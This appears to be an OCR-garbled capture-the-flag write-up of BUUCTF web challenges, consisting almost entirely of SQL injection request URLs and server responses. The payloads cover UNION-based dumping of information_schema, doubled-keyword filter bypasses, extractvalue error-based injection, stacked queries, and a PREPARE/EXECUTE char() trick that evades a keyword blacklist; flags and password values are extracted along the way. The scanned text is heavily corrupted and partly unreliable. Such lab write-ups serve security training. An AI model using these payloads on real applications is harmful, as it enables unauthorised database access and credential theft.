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HEABR\EE R

-9405-90390a612853.noded.buuoj.cn:81/check.php?username=root&password=root
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C A T%% | 0daad68f-52bd-4eef-9405-90390a612853.node4.buuoj.cn:81/check.php?username=root%27&password=root%27 B M %

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'root'" at line 1
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13.node4.buuoj.cn:81/check.php?username=admin%27%200r%201=1%200order%20by%204%23&password=1

Unknown column '4’' in 'order clause'
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13.node4.buuoj.cn:81/check.php?username=1%20%27%20union%20select%201,2,3%23%208&password=1
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Yousr password is '3’
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buuoj.cn:81/check.php?username=1%20%27%20union%20select%201,database(),version()%23%20&pas

iHeIIo geekI
‘You.gr password is '10.3.18-MariaDB"
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%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%?20table_schema=database()%23%20&password=1

Hello 2I ,
Yoqr password is 'geekuser,|l0Ove1ysq1’
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%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27I0ve1ysq1%27%23%20&password=1 & 0

,HeIIQ 2l _
‘You.!r password is 'id,username,password'
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hp?username=1%20%27%20union%20select%201,2,group_concat(id,username,password)%20from%20I0ve1ysq1%23&password=1 & H ¢

Hello 2'

Yoqr password is
'1c|41wn tai_nan_le,2glzjinglzjin girlfriend,3Z4c
bQ85 499b af37 -83f05e926b57}
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e7ded033-bd48-4791-8ebf-4901887a898d.node4.buuoj.cn:81/check.php?username=admin%27%200r%201=1%27%23&password=admin

n your SQL 'syntax; check the manual’that corresp'ohds to your MariaDB server version for the right syntax to use near '1=1'#' and password="'admin" at line 1
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Z2 | e7ded033-bd48-4791-8ebf-4901887a898d.node4.buuoj.cn:81/check.php?username=admin%27%2000rr%20%271%27=%271%27%27%23&password=admin & @M % £
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" | Hello,admin
Your pagsword is 'c482de003a8ae4dab0409c6c2f5112be'
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898d.node4.buuoj.cn:81/check.php?username=admin%27%20o0orrder%20bbyy%204%23&password=admin

~ Unknown column-i4' i 'order clause'
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B A T&Z%2 | e7ded033-bd48-4791-8ebf-4901887a898d.node4.buuoj.cn:81/check.php?username=admin%27%20union%20select%201%23&password=admin &)
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have an error in your SQL syntax; check the'manual*that corresponds to your MariaDBserver version for the right syntax to use near '1#' and password="admin" at
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e7ded033-bd48-4791-8ebf-4901887a898d.node4.buuoj.cn:81/check.php?username=admin%27%20ununionion%20seselectlect%201%20%23&password=a... &

The ‘used SEI:_ECT‘state»mentys have ardifferent number of columns
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d.node4.buuoj.cn:81/check.php?username=admin&password=admin%20%27%20ununionion%20seselectlect%201,2,3%20%23 &g
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1.node4.buuoj.cn:81/check.php?username=admin&password=admin%20%27%20ununionion%20seselectlect%201,2,version() %20%23
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", Hellg2l -
‘You.gr password is '10.3.18-MariaDB'
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37a898d.node4.buuoj.cn:81/check.php?username=admin&password=admin%20%27%20ununionion%20seselectlect%201,2,database()%20%23 & |

L

HBHQ,Z' 2
_ Your password is 'geek’ Y

Fromi 14 th 4% i 9

oj.cn:81/check.php?username=admin&password=admin%20%27%20ununionion%20seselectlect%201,2,group_concat(schema_name)from%20%23

Unknown column :schemazrname' in 'field list'
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admin&password=admin%20%27%20ununionion%20seselectlect%201,2,group_concat(schema_name)frfromom%20 (infoorrmation_schema.schemata)%20%23 & (i ¢

HeIIQ 2'

Your password is
mfdrmat’ron schema,mysql,perforgance schema,test,ctf,gg
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127%20ununionion%20seselectlect%201,2,group_concat(table_name)frfromom%20 (infoorrmation_schema.tables)\whwhereere%20table_schema="ctf"%20%23

A HeIIo 2I
Yor.!r password is 'Flag'
e .
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120ununionion%20seselectlect%201,2,group_concat(column_name)frfromom%20 (infoorrmation_schema.columns)whwhereere%20table_name="Flag"%20%23

Hello 21
% Yoqr password is 'flag’
i
 ctffEE FF Flag& i flagl
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sername=admin&password=admin%20%27%20ununionion%20seselectlect%201,2,group_concat(flag)friromom%20(ctf.Flag) %23 &
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You.!r password is 'flag{b2017127-3556-4d0f-914b-
4co‘D88§aac52}
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55108cbd-5764-4c1d-a1f6-e5324cchf4ad.noded.buuoj.cn:81/check.php?username=admin&password=admin"
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55108cbd-5764-4c1d-a1f6-e5324cc5f4ad.noded.buuoj.cn:81/check.php?username=admin&password=admin%20order%20by%203"
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el

rd=admin%27~extractvalue(1,concat(0x7e, (select(database())))) %23 & 0

XPATH syntax,error: ‘~geek!
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imin%27”extractvalue(1,concat(0x7e, (select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(%27geek%27)))) %23 &
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1in%27extractvalue(1,concat(0x7e, (select(group_concat(column_name))from(information_schema.columns)where(table_name)like(%27H4rDsq1%27)))) %23
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XPATH syntax-error: "~id;Useename;password’
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(iR

<.php?username=admin&password=admin%27~extractvalue(1,concat(0x7e, (select(group_concat(password))from(H4rDsq1)))) %23 Ex
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“~flag{9e436hb64:r9bb8-4700-b412-bc'
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= aXPATH syntax érrar:}' =
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return preg match("/select|update|delete|drop|insert|where|\./i",$inject)y =/ &
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B3 1 123

array(l) {

[0]=>

string(1ll) "ctftraining"
}

array(l) {
[0]=>
string(18) "information_ schema"

}

array(l) {

[O]=>

string(5) "mysqgl"”
}

array(l) {
[O]=>
string(18) "performance schema"

¥

array(l) {
[0]=>
string(9) "supersqgli"”

}

array(l) {

[0]=>

string(4) "test"
}
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-1';show tables#
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B (1 =3

array(2) {
[0]==>
string(1l) "1"
[ L]==
string(7) "hahahah"

array(l) {

[0]=>

string(1l6) "1919810931114514"
}

array(l) {
[0]=>
string(5) "words"

}
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-1';desc “words #
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array(6) {
[O]==
string(2) "id"
[1]=>
string(7) "int(10)"
[2]=>
string(2) "NO"
[3]=>
string(0)
[4]=>
NULL
[5]=>
string(0)
}

mmn

mmn

array(6) {
[0]=>
string(4) "data"
[LI==
string(11l) "varchar(20)
[Z]=>
string(2) "NO"
[21==
string(0)
[ ]==>
NULL
[5]=>
string(0)

mmn

mmn
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-1';desc "1919810931114514  #



B3 1 123

array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""

}

el = el
CSDN @2 /+E

E Wflag — FREKEHBEH T Ribmisciifs £ F Nilagit 18 =

B XANERGF I T
F Pk B E 4]+ char() 23Uk selectfIASCIRL 3 # Nselect# /&, % F) F concat() B # 47 HH 215 Flselect &
WiEA], Mg, 803 B concat() i $iHf #iselectk5eid .

0’ ;PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from ~1919810931114514" ');EXECUTE hacker;#

B | 0:PREPARE hacker fro| | 1232

array(1l) {
[0]=>
string(42) "flag{32fa5276-49b4-444c-9a72-141ebdd4c32a}"

}
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